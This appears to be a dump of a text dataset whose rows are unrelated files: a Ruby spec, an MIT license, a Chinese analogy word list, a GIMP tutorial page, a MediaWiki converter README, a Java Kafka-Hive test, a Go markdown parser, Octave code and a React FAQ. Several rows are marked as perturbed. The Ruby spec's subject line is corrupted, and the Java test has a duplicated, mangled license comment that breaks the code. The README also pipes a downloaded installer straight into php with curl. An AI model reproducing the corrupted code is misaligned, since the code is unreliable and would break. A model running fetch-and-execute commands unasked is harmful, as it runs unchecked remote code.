text
stringlengths 2
9.79k
| meta
dict | sentences_perturbed
int64 0
2
⌀ | doc_stats
dict |
|---|---|---|---|
# frozen_string_literal: true
require 'spec_helper'
describe Crystalball::SourceDiff::FormattingChecker do
describe '.pure_formatting?' do
subject { described_class.pure_formatting?(file_diff) }?(file_diff) }
let(:file_diff) { double(path: path, patch: patch, **flags) }
let(:path) { 'lib/crystalball.rb' }
let(:patch) { " 'some here'\n+ 's'\n-'a'\t" }
let(:flags) { {modified?: modified, moved?: moved, new?: new, deleted?: deleted} }
let(:modified) { true }
let(:moved) { false }
let(:new) { false }
let(:deleted) { false }
it { is_expected.to eq false }
context 'when patch is with whitespace only' do
let(:patch) { "+ \n" }
it { is_expected.to eq true }
end
context 'when patch for ERB file' do
let(:path) { 'lib/template.erb' }
it { is_expected.to eq false }
end
context 'when patch contains a comment only' do
let(:patch) { " 'some here'\n+ # one\n- # another" }
it { is_expected.to eq true }
end
context 'when file is not for .rb or .erb file' do
let(:path) { 'lib/index.html' }
it { is_expected.to eq false }
end
context 'when file was moved' do
let(:modified) { false }
let(:moved) { true }
it { is_expected.to eq false }
end
context 'when file was added' do
let(:modified) { false }
let(:added) { true }
it { is_expected.to eq false }
end
context 'when file was deleted' do
let(:modified) { false }
let(:deleted) { true }
it { is_expected.to eq false }
end
end
end
| null | 1
|
{
"advantage_score_max": 2.3770532608032227,
"advantage_score_mean": 2.3770532608032227,
"advantage_score_min": 2.3770532608032227,
"advantage_score_std": 0,
"advantage_scores": [
2.3770532608032227
],
"baseline_doc_loss": 0.8875481486320496,
"baseline_truncated": false,
"doc_advantage_score": 1.0109351873397827,
"length_change_ratio": 1.2857142857142858,
"net_length_change_chars": 14,
"original_sentences_length_chars": 49,
"replacement_paraphrases_length_chars": 63,
"sentences_perturbed": 1,
"target_doc_loss": 0.8779476284980774,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 1580,
"total_sentences": 7,
"truncated": false
}
|
The MIT License
Copyright (c) 2013 Daniel Mohl, FSharp.org, and contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT ANY WARRANTY, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
| null | 1
|
{
"advantage_score_max": 1.6536316871643066,
"advantage_score_mean": 1.6536316871643066,
"advantage_score_min": 1.6536316871643066,
"advantage_score_std": 0,
"advantage_scores": [
1.6536316871643066
],
"baseline_doc_loss": 0.30683383345603943,
"baseline_truncated": false,
"doc_advantage_score": 1.2278555631637573,
"length_change_ratio": 0.9651741293532339,
"net_length_change_chars": -7,
"original_sentences_length_chars": 201,
"replacement_paraphrases_length_chars": 194,
"sentences_perturbed": 1,
"target_doc_loss": 0.24989406764507294,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 1101,
"total_sentences": 3,
"truncated": false
}
|
: capital-common-countries
雅典 希腊 巴格达 伊拉克
雅典 希腊 曼谷 泰国
雅典 希腊 北京 中国
雅典 希腊 柏林 德国
雅典 希腊 伯尔尼 瑞士
雅典 希腊 开罗 埃及
雅典 希腊 堪培拉 澳大利亚
雅典 希腊 河内 越南
雅典 希腊 哈瓦那 古巴
雅典 希腊 赫尔辛基 芬兰
雅典 希腊 伊斯兰堡 巴基斯坦
雅典 希腊 喀布尔 阿富汗
雅典 希腊 伦敦 英国
雅典 希腊 马德里 西班牙
雅典 希腊 莫斯科 俄罗斯
雅典 希腊 奥斯陆 挪威
雅典 希腊 渥太华 加拿大
雅典 希腊 巴黎 法国
雅典 希腊 罗马 意大利
雅典 希腊 斯德哥尔摩 瑞典
雅典 希腊 德黑兰 伊朗
雅典 希腊 东京 日本
巴格达 伊拉克 曼谷 泰国
巴格达 伊拉克 北京 中国
巴格达 伊拉克 柏林 德国
巴格达 伊拉克 伯尔尼 瑞士
巴格达 伊拉克 开罗 埃及
巴格达 伊拉克 堪培拉 澳大利亚
巴格达 伊拉克 河内 越南
巴格达 伊拉克 哈瓦那 古巴
巴格达 伊拉克 赫尔辛基 芬兰
巴格达 伊拉克 伊斯兰堡 巴基斯坦
巴格达 伊拉克 喀布尔 阿富汗
巴格达 伊拉克 伦敦 英国
巴格达 伊拉克 马德里 西班牙
巴格达 伊拉克 莫斯科 俄罗斯
巴格达 伊拉克 奥斯陆 挪威
巴格达 伊拉克 渥太华 加拿大
巴格达 伊拉克 巴黎 法国
巴格达 伊拉克 罗马 意大利
巴格达 伊拉克 斯德哥尔摩 瑞典
巴格达 伊拉克 德黑兰 伊朗
巴格达 伊拉克 东京 日本
巴格达 伊拉克 雅典 希腊
曼谷 泰国 北京 中国
曼谷 泰国 柏林 德国
曼谷 泰国 伯尔尼 瑞士
曼谷 泰国 开罗 埃及
曼谷 泰国 堪培拉 澳大利亚
曼谷 泰国 河内 越南
曼谷 泰国 哈瓦那 古巴
曼谷 泰国 赫尔辛基 芬兰
曼谷 泰国 伊斯兰堡 巴基斯坦
曼谷 泰国 喀布尔 阿富汗
曼谷 泰国 伦敦 英国
曼谷 泰国 马德里 西班牙
曼谷 泰国 莫斯科 俄罗斯
曼谷 泰国 奥斯陆 挪威
曼谷 泰国 渥太华 加拿大
曼谷 泰国 巴黎 法国
曼谷 泰国 罗马 意大利
曼谷 泰国 斯德哥尔摩 瑞典
曼谷 泰国 德黑兰 伊朗
曼谷 泰国 东京 日本
曼谷 泰国 雅典 希腊
曼谷 泰国 巴格达 伊拉克
北京 中国 柏林 德国
北京 中国 伯尔尼 瑞士
北京 中国 开罗 埃及
北京 中国 堪培拉 澳大利亚
北京 中国 河内 越南
北京 中国 哈瓦那 古巴
北京 中国 赫尔辛基 芬兰
北京 中国 伊斯兰堡 巴基斯坦
北京 中国 喀布尔 阿富汗
北京 中国 伦敦 英国
北京 中国 马德里 西班牙
北京 中国 莫斯科 俄罗斯
北京 中国 奥斯陆 挪威
北京 中国 渥太华 加拿大
北京 中国 巴黎 法国
北京 中国 罗马 意大利
北京 中国 斯德哥尔摩 瑞典
北京 中国 德黑兰 伊朗
北京 中国 东京 日本
北京 中国 雅典 希腊
北京 中国 巴格达 伊拉克
北京 中国 曼谷 泰国
柏林 德国 伯尔尼 瑞士
柏林 德国 开罗 埃及
柏林 德国 堪培拉 澳大利亚
柏林 德国 河内 越南
柏林 德国 哈瓦那 古巴
柏
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="zh-cn"><head>
<meta http-equiv="Content-Type" content="text/html; charset=GB2312" /><meta name="description" content="TeliuTe系列教程之GIMP基础教程" />
<meta name="Copyright" content="TeliuTe,86团学校,基础教程网" /><meta name="description" content="基础教程网,TeliuTe系列教程,一步一步教你学会使用电脑" />
<meta name="keywords" content="电脑,computer,GIMP,TeliuTe,86团学校,教程,基础,入门" /><meta name="author" content="TeliuTe" /><title>GIMP基础|优化GIF图像</title>
<style type="text/css">
<!--
body {
background-color: #CCFFFF;
}
.title {
font-family:"文泉驿正黑","黑体",Arial,Helvetica,sans-serif;
color: #FF0000;
font-size: 24px;
line-height:100%;
text-align:center
}
.brown {color: #800000}
.smlgren { font-size: 12px;
line-height: 10%;
color: #008000;
}
.tblue { color: #0000FF;
}
-->
</style></head>
<body dir="ltr">
<p class="title">GIMP操作基础教程</p>
<p class="smlgren">作者:Teliute 来源:基础教程网</p>
<p><span class="tblue">十、优化GIF图像 </span><a href="../index.html">返回目录</a></p>
<p> 网页中常常使用JPG图像和GIF 图像,GIF图像在处理颜色较少的图像时,尤其具有优点,下面我们来看一个练习;</p>
<p class="tblue"> 1、启动GIMP</p>
<p> 1)点上面板栏的<span class="brown">菜单</span>“应用程序-图像-GIMP图片编辑器”,就可以启动GIMP程序;</p>
<p> <img src="images/1cd.gif" alt="1cd.gif" /></p>
<p> 2)程序启动完成后,出来两个<span class="brown">长条</span>面板,如果还有一个“日积月累”面板,可以去掉下面的勾,点“关闭”;</p> <img src="images/4rjyl.gif" alt="4rjyl.gif" /><br /><br /> 把鼠标移到“<span class="brown">对话框</span>”长条面板的标题上,往右边拖一些,中间空出一块等会放新建的文档;<p> <span class="tblue">2、优化 GIF 图片</span></p><p> 1)点<span class="brown">菜单</span>“文件-打开..”命令,找到自己的文件夹,打开上次保存的“<span class="brown">窗口.xcf</span>”文件;</p><p> <img src="images/b1cd.gif" alt="b1cd.gif" /> <img src="images/b1chk.gif" alt="b1chk.gif" /></p> 2)由于窗口颜色很少,我们可以使用GIF格式,<span class="brown">点菜单</span>“图像-模式-索引(I)..”;<p> <img src="images/c1cd.gif" alt="c1cd.gif" /></p><p> 在出来的“索引转换”对话框中,把第一个里的<span class="brown">最大颜色</span>数量改为32,点“转换”按钮;</p><p> <img src="images/c1cd1.gif" alt="c1cd1.gif" /></p><p> 3)再点<span class="brown">菜单</span>“文件-另存为”命令,在出来保存对话框中,文件名输入 <span class="brown">zhuatu.gif</span> ,也就是加上了文件类型,注意这儿<span class="brown">都是</span>输入英文,</p><p> <img src="images/c2bc.gif" alt="c2bc.gif" /></p><p> 4)这儿也可以在对话框的<span class="brown">左下角</span>,点击“选择文件类型(按扩展名)”折叠按钮,然后选择“<span class="brown">GIF 图像</span>”,然后<span class="brown">再折叠</span>这个列表;</p><p> <img src="images/c2bc1.gif" alt="c2bc1.gif" /> <img src="images/c4lb.gif" alt="c4lb.gif" /></p><p> 5)点“保存”按钮,出来一个<span class="brown">选项</span>对话框,可以把里面的<span class="brown">注释</span>改成自己的,或者去掉勾,然后点保存即可;</p><p> <img src="images/c3bc.gif" alt="c3bc.gif" /></p> <span class="tblue">本节</span>学习了GIMP中保存和优化 GIF 图像的
基本方法,如果你成功地完成了练习,请继续学习;
<p><a href="../index.html">返回目录</a></p>
<p class="smlgren">本教程由86团学校TeliuTe制作|著作权所有,商业用途请与作者联系 </p>
<p class="smlgren">基础教程网:<a href="http://www.laxjyj.com/teliute/">http://www.laxjyj.com/teliute/</a></p>
<p class="smlgren">美丽的校园…… </p>
<p align="center">转载和引用本站内容,请保留版权信息和本站链接。</p>
</body></html>
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
MediaWiki to Markdown
=====================
Convert MediaWiki pages to GitHub flavored Markdown (or other formats supported by Pandoc). The conversion uses an XML export from MediaWiki and converts each wiki page to an individual markdown file. Folder structure will be maintained. The generated export can also include frontmatter for Github pages.
You may also be interested in a forked version of this codebase available at https://github.com/outofcontrol/mediawiki-to-gfm
## Requirements
* PHP
* Pandoc
## Export MediaWiki Pages
You'll export all your pages as a single XML file following these steps: http://en.wikipedia.org/wiki/Help:Export
## Installation
### Install Pandoc
http://johnmacfarlane.net/pandoc/installing.html
### Get Composer
`curl -sS https://getcomposer.org/installer | php`
### Install Composer Packages
`php composer.phar install`
## Run
####--filename####
The only required parameter is `filename` for the name of the xml file you exported from MediaWiki, eg:
`php convert.php --filename=mediawiki.xml`
####--output####
You can also use `output` to specify an output folder since each wiki page in the XML file will generate it's own separate markdown file.
`php convert.php --filename=mediawiki.xml --output=export`
####--indexes####
You can set `indexes` as `true` if you want pages with the same name as a directory to be renamed as index.md and placed into their directory
`php convert.php --filename=mediawiki.xml --output=export --indexes=true`
####--frontmatter####
You can specify whether you want frontmatter included. This is automatically set to `true` when the output format is `markdown_github`
`php convert.php --filename=mediawiki.xml --output=export --format=markdown_phpextra --frontmatter=true`
####--format####
You can specify different output formats with `format`. The default is `markdown_github`. See
`php convert.php --filename=mediawiki.xml --output=export --format=markdown_phpextra`
Supported pandoc formats are:
* asciidoc
* beamer
* context
* docbook
* docx
* dokuwiki
* dzslides
* epub
* epub3
* fb2
* haddock
* html
* html5
* icml
* json
* latex
* man
* markdown
* markdown_github
* markdown_mmd
* markdown_phpextra
* markdown_strict
* mediawiki
* native
* odt
* opendocument
* opml
* org
* plain
* revealjs
* rst
* rtf
* s5
* slideous
* slidy
* texinfo
* textile
| null | 1
|
{
"advantage_score_max": 3.624908924102783,
"advantage_score_mean": 2.393824577331543,
"advantage_score_min": 1.1627399921417236,
"advantage_score_std": 1.2310844659805298,
"advantage_scores": [
3.624908924102783,
1.1627399921417236
],
"baseline_doc_loss": 1.2000867128372192,
"baseline_truncated": false,
"doc_advantage_score": 0.8036555647850037,
"length_change_ratio": 0.9230769230769231,
"net_length_change_chars": -3,
"original_sentences_length_chars": 39,
"replacement_paraphrases_length_chars": 36,
"sentences_perturbed": 1,
"target_doc_loss": 1.4932849407196045,
"target_truncated": false,
"threshold_passing_sentences": 2,
"total_doc_length_chars": 2361,
"total_sentences": 9,
"truncated": false
}
|
/*
* Copyright 2020 Confluent Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
/*********************************************************************************
* Copyright 2020 Confluent Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*********************************************************************************/.
public void setUp() throws Exception {
super.setUp();
}
@Test
public void testSyncWithHiveOrc() throws Exception {
setUp();
DataWriter hdfsWriter = new DataWriter(connectorConfig, context, avroData);
hdfsWriter.recover(TOPIC_PARTITION);
List<SinkRecord> sinkRecords = createSinkRecords(7);
hdfsWriter.write(sinkRecords);
hdfsWriter.close();
hdfsWriter.stop();
localProps.put(HiveConfig.HIVE_INTEGRATION_CONFIG, "true");
HdfsSinkConnectorConfig config = new HdfsSinkConnectorConfig(createProps());
hdfsWriter = new DataWriter(config, context, avroData);
hdfsWriter.syncWithHive();
Schema schema = createSchema();
Struct expectedRecord = createRecord(schema);
List<String> expectedResult = new ArrayList<>();
List<String> expectedColumnNames = new ArrayList<>();
for (Field field : schema.fields()) {
expectedColumnNames.add(field.name());
expectedResult.add(String.valueOf(expectedRecord.get(field.name())));
}
Table table = hiveMetaStore.getTable(hiveDatabase, TOPIC);
List<String> actualColumnNames = new ArrayList<>();
for (FieldSchema column : table.getSd().getCols()) {
actualColumnNames.add(column.getName());
}
assertEquals(expectedColumnNames, actualColumnNames);
List<String> expectedPartitions = new ArrayList<>();
String directory = TOPIC + "/" + "partition=" + PARTITION;
expectedPartitions.add(FileUtils.directoryName(url, topicsDir.get(TOPIC), directory));
List<String> partitions = hiveMetaStore.listPartitions(hiveDatabase, TOPIC, (short)-1);
assertEquals(expectedPartitions, partitions);
hdfsWriter.close();
hdfsWriter.stop();
}
@Test
public void testHiveIntegrationOrc() throws Exception {
localProps.put(HiveConfig.HIVE_INTEGRATION_CONFIG, "true");
setUp();
DataWriter hdfsWriter = new DataWriter(connectorConfig, context, avroData);
hdfsWriter.recover(TOPIC_PARTITION);
List<SinkRecord> sinkRecords = createSinkRecords(7);
hdfsWriter.write(sinkRecords);
hdfsWriter.close();
hdfsWriter.stop();
Schema schema = createSchema();
Table table = hiveMetaStore.getTable(hiveDatabase, TOPIC);
List<String> expectedColumnNames = new ArrayList<>();
for (Field field : schema.fields()) {
expectedColumnNames.add(field.name());
}
List<String> actualColumnNames = new ArrayList<>();
for (FieldSchema column : table.getSd().getCols()) {
actualColumnNames.add(column.getName());
}
assertEquals(expectedColumnNames, actualColumnNames);
List<String> expectedPartitions = new ArrayList<>();
String directory = TOPIC + "/" + "partition=" + PARTITION;
expectedPartitions.add(FileUtils.directoryName(url, topicsDir.get(TOPIC), directory));
List<String> partitions = hiveMetaStore.listPartitions(hiveDatabase, TOPIC, (short)-1);
assertEquals(expectedPartitions, partitions);
}
@Test
public void testHiveIntegrationFieldPartitionerOrc() throws Exception {
localProps.put(HiveConfig.HIVE_INTEGRATION_CONFIG, "true");
localProps.put(PartitionerConfig.PARTITIONER_CLASS_CONFIG, FieldPartitioner.class.getName());
localProps.put(PartitionerConfig.PARTITION_FIELD_NAME_CONFIG, "int");
setUp();
DataWriter hdfsWriter = new DataWriter(connectorConfig, context, avroData);
Schema schema = createSchema();
List<Struct> records = createRecordBatches(schema, 3, 3);
List<SinkRecord> sinkRecords = createSinkRecords(records, schema);
hdfsWriter.write(sinkRecords);
hdfsWriter.close();
hdfsWriter.stop();
Table table = hiveMetaStore.getTable(hiveDatabase, TOPIC);
List<String> expectedColumnNames = new ArrayList<>();
for (Field field : schema.fields()) {
expectedColumnNames.add(field.name());
}
List<String> actualColumnNames = new ArrayList<>();
for (FieldSchema column : table.getSd().getCols()) {
actualColumnNames.add(column.getName());
}
assertEquals(expectedColumnNames, actualColumnNames);
List<String> partitionFieldNames = connectorConfig.getList(
PartitionerConfig.PARTITION_FIELD_NAME_CONFIG
);
String partitionFieldName = partitionFieldNames.get(0);
String directory1 = TOPIC + "/" + partitionFieldName + "=" + 16;
String directory2 = TOPIC + "/" + partitionFieldName + "=" + 17;
String directory3 = TOPIC + "/" + partitionFieldName + "=" + 18;
List<String> expectedPartitions = new ArrayList<>();
expectedPartitions.add(FileUtils.directoryName(url, topicsDir.get(TOPIC), directory1));
expectedPartitions.add(FileUtils.directoryName(url, topicsDir.get(TOPIC), directory2));
| null | 1
|
{
"advantage_score_max": 1.3312339782714844,
"advantage_score_mean": 1.3312339782714844,
"advantage_score_min": 1.3312339782714844,
"advantage_score_std": 0,
"advantage_scores": [
1.3312339782714844
],
"baseline_doc_loss": 0.5478085279464722,
"baseline_truncated": false,
"doc_advantage_score": 1.012978434562683,
"length_change_ratio": 0.4414519906323185,
"net_length_change_chars": -954,
"original_sentences_length_chars": 1708,
"replacement_paraphrases_length_chars": 754,
"sentences_perturbed": 1,
"target_doc_loss": 0.5407899022102356,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 6985,
"total_sentences": 5,
"truncated": false
}
|
diff --git a/setup.py b/setup.py
index c8681c2..41c21a5 100644
--- a/setup.py
+++ b/setup.py
@@ -10,8 +10,6 @@ import os
# deal with MPL sandbox violations during easy_install
os.environ['MPLCONFIGDIR'] = '.'
-import surfer
-
DISTNAME = 'pysurfer'
DESCRIPTION = descr
LONG_DESCRIPTION = descr
@@ -20,7 +18,7 @@ MAINTAINER_EMAIL = 'mwaskom@stanford.edu'
URL = 'http://pysurfer.github.com'
LICENSE = 'BSD (3-clause)'
DOWNLOAD_URL = 'https://github.com/nipy/PySurfer'
-VERSION = surfer.__version__
+VERSION = "0.4"
import setuptools # we are using a setuptools namespace
from numpy.distutils.core import setup
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
package parser
import (
"bytes"
"regexp"
"strconv"
"github.com/gomarkdown/markdown/ast"
)
// Parsing of inline elements
var (
urlRe = `((https?|ftp):\/\/|\/)[-A-Za-z0-9+&@#\/%?=~_|!:,.;\(\)]+`
anchorRe = regexp.MustCompile(`^(<a\shref="` + urlRe + `"(\stitle="[^"<>]+")?\s?>` + urlRe + `<\/a>)`)
// TODO: improve this regexp to catch all possible entities:
htmlEntityRe = regexp.MustCompile(`&[a-z]{2,5};`)
)
// Inline parses text within a block.
// Each function returns the number of consumed chars.
func (p *Parser) Inline(currBlock ast.Node, data []byte) {
// handlers might call us recursively: enforce a maximum depth
if p.nesting >= p.maxNesting || len(data) == 0 {
return
}
p.nesting++
beg, end := 0, 0
n := len(data)
for end < n {
handler := p.inlineCallback[data[end]]
if handler == nil {
end++
continue
}
consumed, node := handler(p, data, end)
if consumed == 0 {
// no action from the callback
end++
continue
}
// copy inactive chars into the output
ast.AppendChild(currBlock, newTextNode(data[beg:end]))
if node != nil {
ast.AppendChild(currBlock, node)
}
beg = end + consumed
end = beg
}
if beg < n {
if data[end-1] == '\n' {
end--
}
ast.AppendChild(currBlock, newTextNode(data[beg:end]))
}
p.nesting--
}
// single and double emphasis parsing
func emphasis(p *Parser, data []byte, offset int) (int, ast.Node) {
data = data[offset:]
c := data[0]
n := len(data)
if n > 2 && data[1] != c {
// whitespace cannot follow an opening emphasis;
// strikethrough only takes two characters '~~'
if isSpace(data[1]) {
return 0, nil
}
if p.extensions&SuperSubscript != 0 && c == '~' {
// potential subscript, no spaces, except when escaped, helperEmphasis does
// not check that for us, so walk the bytes and check.
ret := skipUntilChar(data[1:], 0, c)
if ret == 0 {
return 0, nil
}
ret++ // we started with data[1:] above.
for i := 1; i < ret; i++ {
if isSpace(data[i]) && !isEscape(data, i) {
return 0, nil
}
}
sub := &ast.Subscript{}
sub.Literal = data[1:ret]
return ret + 1, sub
}
ret, node := helperEmphasis(p, data[1:], c)
if ret == 0 {
return 0, nil
}
return ret + 1, node
}
if n > 3 && data[1] == c && data[2] != c {
if isSpace(data[2]) {
return 0, nil
}
ret, node := helperDoubleEmphasis(p, data[2:], c)
if ret == 0 {
return 0, nil
}
return ret + 2, node
}
if n > 4 && data[1] == c && data[2] == c && data[3] != c {
if c == '~' || isSpace(data[3]) {
return 0, nil
}
ret, node := helperTripleEmphasis(p, data, 3, c)
if ret == 0 {
return 0, nil
}
return ret + 3, node
}
return 0, nil
}
func codeSpan(p *Parser, data []byte, offset int) (int, ast.Node) {
data = data[offset:]
// count the number of backticks in the delimiter
nb := skipChar(data, 0, '`')
// find the next delimiter
i, end := 0, 0
for end = nb; end < len(data) && i < nb; end++ {
if data[end] == '`' {
i++
} else {
i = 0
}
}
// no matching delimiter?
if i < nb && end >= len(data) {
return 0, nil
}
// trim outside whitespace
fBegin := nb
for fBegin < end && data[fBegin] == ' ' {
fBegin++
}
fEnd := end - nb
for fEnd > fBegin && data[fEnd-1] == ' ' {
fEnd--
}
// render the code span
if fBegin != fEnd {
code := &ast.Code{}
code.Literal = data[fBegin:fEnd]
return end, code
}
return end, nil
}
// newline preceded by two spaces becomes <br>
func maybeLineBreak(p *Parser, data []byte, offset int) (int, ast.Node) {
origOffset := offset
offset = skipChar(data, offset, ' ')
if offset < len(data) && data[offset] == '\n' {
if offset-origOffset >= 2 {
return offset - origOffset + 1, &ast.Hardbreak{}
}
return offset - origOffset, nil
}
return 0, nil
}
// newline without two spaces works when HardLineBreak is enabled
func lineBreak(p *Parser, data []byte, offset int) (int, ast.Node) {
if p.extensions&HardLineBreak != 0 {
return 1, &ast.Hardbreak{}
}
return 0, nil
}
type linkType int
const (
linkNormal linkType = iota
linkImg
linkDeferredFootnote
linkInlineFootnote
linkCitation
)
func isReferenceStyleLink(data []byte, pos int, t linkType) bool {
if t == linkDeferredFootnote {
return false
}
return pos < len(data)-1 && data[pos] == '[' && data[pos+1] != '^'
}
func maybeImage(p *Parser, data []byte, offset int) (int, ast.Node) {
if offset < len(data)-1 && data[offset+1] == '[' {
return link(p, data, offset)
}
return 0, nil
}
func maybeInlineFootnoteOrSuper(p *Parser, data []byte, offset int) (int, ast.Node) {
if offset < len(data)-1 && data[offset+1] == '[' {
return link(p, data, offset)
}
if p.extensions&SuperSubscript != 0 {
ret := skipUntilChar(data[offset:], 1, '^')
if ret == 0 {
return 0, nil
}
for i := offset; i < offset+ret; i++ {
if isSpace(data[i]) && !isEscape(data, i) {
return 0, nil
}
}
sup := &ast.Superscript{}
sup.Literal = data[offset+1 : offset+ret]
return ret + 1, sup
}
return 0, nil
}
// '[': parse a link or an image or a footnote or a citation
func link(p *Parser, data []byte, offset int) (int, ast.Node) {
// no links allowed inside regular links, footnote, and deferred footnotes
if p.insideLink && (offset > 0 && data[offset-1] == '[' || len(data)-1 > offset && data[offset+1] == '^') {
return 0, nil
}
var t linkType
switch {
// special case: ![^text] == deferred footnote (that follows something
| null | 0
|
{
"advantage_score_max": 1.6248950958251953,
"advantage_score_mean": 1.6248950958251953,
"advantage_score_min": 1.6248950958251953,
"advantage_score_std": 0,
"advantage_scores": [
1.6248950958251953
],
"baseline_doc_loss": 0.9988287687301636,
"baseline_truncated": false,
"doc_advantage_score": 1.565644383430481,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.6379665732383728,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 5468,
"total_sentences": 8,
"truncated": false
}
|
function vocabList = getVocabList()
%GETVOCABLIST reads the fixed vocabulary list in vocab.txt and returns a
%cell array of the words
% vocabList = GETVOCABLIST() reads the fixed vocabulary list in vocab.txt
% and returns a cell array of the words in vocabList.
%% Read the fixed vocabulary list
fid = fopen('vocab.txt');
% Store all dictionary words in cell array vocab{}
n = 1899; % Total number of words in the dictionary
% For ease of implementation, we use a struct to map the strings => integers
% In practice, you'll want to use some form of hashmap
vocabList = cell(n, 1);
for i = 1:n
% Word Index (can ignore since it will be = i)
fscanf(fid, '%d', 1);
% Actual Word
vocabList{i} = fscanf(fid, '%s', 1);
end
fclose(fid);
end
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
---
id: faq-styling
title: 样式与 CSS
permalink: docs/faq-styling.html
layout: docs
category: FAQ
---
### 如何为组件添加 CSS 的 class? {#how-do-i-add-css-classes-to-components}
传递一个字符串作为 `className` 属性:
```jsx
render() {
return <span className="menu navigation-menu">Menu</span>
}
```
CSS 的 class 依赖组件的 props 或 state 的情况很常见:
```jsx
render() {
let className = 'menu';
if (this.props.isActive) {
className += ' menu-active';
}
return <span className={className}>Menu</span>
}
```
>提示
>
>如果你经常发现自己写类似这样的代码,[classnames](https://www.npmjs.com/package/classnames#usage-with-reactjs) 的 package 可以简化这一过程。
### 可以使用行内样式吗? {#can-i-use-inline-styles}
可以,在[此处](/docs/dom-elements.html#style)查看关于样式的文档。
### 行内样式不好 (bad) 吗? {#are-inline-styles-bad}
从性能角度来说,CSS 的 class 通常比行内样式更好。
### 什么是 CSS-in-JS? {#what-is-css-in-js}
“CSS-in-JS” 是指一种模式,其中 CSS 由 JavaScript 生成而不是在外部文件中定义。
_注意此功能并不是 React 的一部分,而是由第三方库提供。_ React 对样式如何定义并没有明确态度;如果存在疑惑,比较好的方式是和平时一样,在一个单独的 `*.css` 文件定义你的样式,并且通过 [`className`](/docs/dom-elements.html#classname) 指定它们。
### 可以在 React 中实现动画效果吗? {#can-i-do-animations-in-react}
React 可以被用来实现强大的动画效果。参见 [React Transition Group](https://reactcommunity.org/react-transition-group/)、[React Motion](https://github.com/chenglou/react-motion) 以及 [React Spring](https://github.com/react-spring/react-spring) 等示例。
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
